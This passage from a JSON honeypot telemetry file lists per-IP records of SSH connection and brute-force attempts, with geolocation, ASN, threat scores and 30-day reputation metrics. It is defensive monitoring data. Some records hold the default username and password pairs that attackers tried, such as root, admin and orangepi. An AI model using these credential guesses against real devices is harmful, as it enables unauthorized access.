        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:35:55.675000+00:00",
        "last_seen_30d": "2026-05-15T00:50:15.169000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "194.87.216.198": {
      "attack_count": 20,
      "first_seen": "2026-05-16T05:32:57.907Z",
      "last_seen": "2026-05-16T06:08:05.975Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T15:37:50.895000+00:00",
        "last_seen_30d": "2026-05-16T06:09:07.449000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "138.68.243.18": {
      "attack_count": 18,
      "first_seen": "2026-05-25T12:44:20.137Z",
      "last_seen": "2026-05-31T23:06:41.631Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 61.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.0,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T17:47:41.204000+00:00",
        "last_seen_30d": "2026-05-31T23:07:43.942000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Tanner": 44,
        "Cowrie": 18
      }
    },
    "102.182.248.117": {
      "attack_count": 16,
      "first_seen": "2026-05-29T05:03:57.319Z",
      "last_seen": "2026-05-29T05:13:18.596Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37611,
      "as_org": "AFRIHOST-SP",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T15:23:44.567000+00:00",
        "last_seen_30d": "2026-05-29T05:20:04.034000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "77.136.242.16": {
      "attack_count": 16,
      "first_seen": "2026-05-19T22:36:37.598Z",
      "last_seen": "2026-05-20T02:29:49.904Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Villeneuve",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:36:37.598000+00:00",
        "last_seen_30d": "2026-05-20T02:30:50.327000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "185.145.245.47": {
      "attack_count": 12,
      "first_seen": "2026-05-17T06:17:04.566Z",
      "last_seen": "2026-05-17T09:21:29.891Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 42532,
      "as_org": "SIA VEESP",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:17:04.566000+00:00",
        "last_seen_30d": "2026-05-17T09:22:30.834000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "205.237.106.157": {
      "attack_count": 12,
      "first_seen": "2026-05-09T23:02:57.000Z",
      "last_seen": "2026-05-10T12:22:12.140Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 3920,
      "as_org": "PUSHPKT OU",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:02:57+00:00",
        "last_seen_30d": "2026-05-10T12:23:14.576000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "23.94.179.170": {
      "attack_count": 12,
      "first_seen": "2026-05-08T02:24:48.540Z",
      "last_seen": "2026-05-17T20:38:19.157Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:24:48.540000+00:00",
        "last_seen_30d": "2026-05-17T20:39:27.862000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "79.249.93.87": {
      "attack_count": 11,
      "first_seen": "2026-05-17T06:59:56.799Z",
      "last_seen": "2026-05-17T07:02:14.808Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a"
      ],
      "passwords_attempted": [
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Karlsruhe",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-17T06:59:56.799000+00:00",
        "last_seen_30d": "2026-05-17T07:13:03.431000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 10,
        "Honeytrap": 2
      }
    },
    "107.155.48.46": {
      "attack_count": 10,
      "first_seen": "2026-05-30T16:38:06.041Z",
      "last_seen": "2026-05-30T16:40:24.248Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-20T10:27:25+00:00",
        "last_seen_30d": "2026-05-30T16:41:31.935000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Honeytrap": 1
      }
    },
    "27.25.66.36": {
      "attack_count": 10,
      "first_seen": "2026-05-20T13:44:10.944Z",
      "last_seen": "2026-05-20T14:02:29.707Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:44:10.944000+00:00",
        "last_seen_30d": "2026-05-20T14:07:53.019000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "103.131.245.165": {
      "attack_count": 6,
      "first_seen": "2026-05-04T05:56:27.259Z",
      "last_seen": "2026-05-04T05:58:30.666Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 134655,
      "as_org": "PT. DUMAI MANDIRI NET",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T05:56:27.259000+00:00",
        "last_seen_30d": "2026-05-04T06:09:26.808000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "151.75.29.80": {
      "attack_count": 6,
      "first_seen": "2026-05-23T12:16:41.086Z",
      "last_seen": "2026-05-23T13:11:34.506Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Naples",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:16:41.086000+00:00",
        "last_seen_30d": "2026-05-23T13:12:38.481000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "163.61.188.121": {
      "attack_count": 6,
      "first_seen": "2026-05-13T19:09:14.170Z",
      "last_seen": "2026-05-14T05:49:06.282Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 153568,
      "as_org": "NEW DHAKA HARDWARE",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:09:14.170000+00:00",
        "last_seen_30d": "2026-05-14T05:50:12.897000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "191.177.251.120": {
      "attack_count": 6,
      "first_seen": "2026-05-03T02:30:49.091Z",
      "last_seen": "2026-05-03T02:36:42.877Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Colombo",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:30:49.091000+00:00",
        "last_seen_30d": "2026-05-03T02:47:37.074000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "194.61.52.242": {
      "attack_count": 6,
      "first_seen": "2026-05-03T17:07:48.508Z",
      "last_seen": "2026-05-03T17:07:55.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 202302,
      "as_org": "NETH LLC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:07:48.508000+00:00",
        "last_seen_30d": "2026-05-03T17:08:56.673000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "201.238.2.45": {
      "attack_count": 6,
      "first_seen": "2026-05-19T08:16:18.076Z",
      "last_seen": "2026-05-19T10:41:13.551Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:16:18.076000+00:00",
        "last_seen_30d": "2026-05-19T10:42:21.596000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "61.158.134.136": {
      "attack_count": 6,
      "first_seen": "2026-05-29T02:30:42.303Z",
      "last_seen": "2026-05-29T02:30:55.824Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T02:30:42.303000+00:00",
        "last_seen_30d": "2026-05-29T02:32:05.567000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "8.221.139.48": {
      "attack_count": 6,
      "first_seen": "2026-05-31T16:44:03.531Z",
      "last_seen": "2026-05-31T16:44:07.786Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.9,
        "persistence": 8.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 10,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-22T07:46:57.111000+00:00",
        "last_seen_30d": "2026-05-31T16:45:11.159000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 4
      }
    },
    "106.13.46.139": {
      "attack_count": 4,
      "first_seen": "2026-05-10T20:07:24.067Z",
      "last_seen": "2026-05-10T20:07:58.910Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T20:07:24.067000+00:00",
        "last_seen_30d": "2026-05-10T20:12:12.653000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "114.138.103.175": {
      "attack_count": 4,
      "first_seen": "2026-05-19T06:27:32.324Z",
      "last_seen": "2026-05-19T06:28:10.198Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:27:32.324000+00:00",
        "last_seen_30d": "2026-05-19T06:29:18.212000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "118.173.178.198": {
      "attack_count": 4,
      "first_seen": "2026-05-24T17:35:51.893Z",
      "last_seen": "2026-05-24T21:31:11.735Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phuket",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T17:35:51.893000+00:00",
        "last_seen_30d": "2026-05-24T21:32:14.586000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "153.246.198.45": {
      "attack_count": 4,
      "first_seen": "2026-05-09T18:33:48.878Z",
      "last_seen": "2026-05-13T23:18:57.841Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:33:48.878000+00:00",
        "last_seen_30d": "2026-05-13T23:19:58.992000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "175.13.202.161": {
      "attack_count": 4,
      "first_seen": "2026-05-21T11:37:54.473Z",
      "last_seen": "2026-05-21T11:38:43.911Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:37:54.473000+00:00",
        "last_seen_30d": "2026-05-21T11:39:45.676000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "201.238.1.86": {
      "attack_count": 4,
      "first_seen": "2026-05-22T01:30:29.980Z",
      "last_seen": "2026-05-22T01:56:50.629Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:30:29.980000+00:00",
        "last_seen_30d": "2026-05-22T01:57:59.995000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "201.238.3.157": {
      "attack_count": 4,
      "first_seen": "2026-05-20T02:50:21.048Z",
      "last_seen": "2026-05-20T04:41:14.944Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:50:21.048000+00:00",
        "last_seen_30d": "2026-05-20T04:42:15.632000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "3.14.12.125": {
      "attack_count": 4,
      "first_seen": "2026-05-27T11:51:42.702Z",
      "last_seen": "2026-05-27T11:54:38.138Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-27T11:07:46+00:00",
        "last_seen_30d": "2026-05-27T12:16:15.609000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 14,
        "Cowrie": 4
      }
    },
    "31.134.107.229": {
      "attack_count": 4,
      "first_seen": "2026-05-04T18:15:23.551Z",
      "last_seen": "2026-05-04T18:19:24.491Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Chernivtsi",
      "asn": 48323,
      "as_org": "PP Neiron Systems",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T18:15:23.551000+00:00",
        "last_seen_30d": "2026-05-04T18:20:34.701000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "47.93.99.20": {
      "attack_count": 3,
      "first_seen": "2026-05-29T08:05:53.286Z",
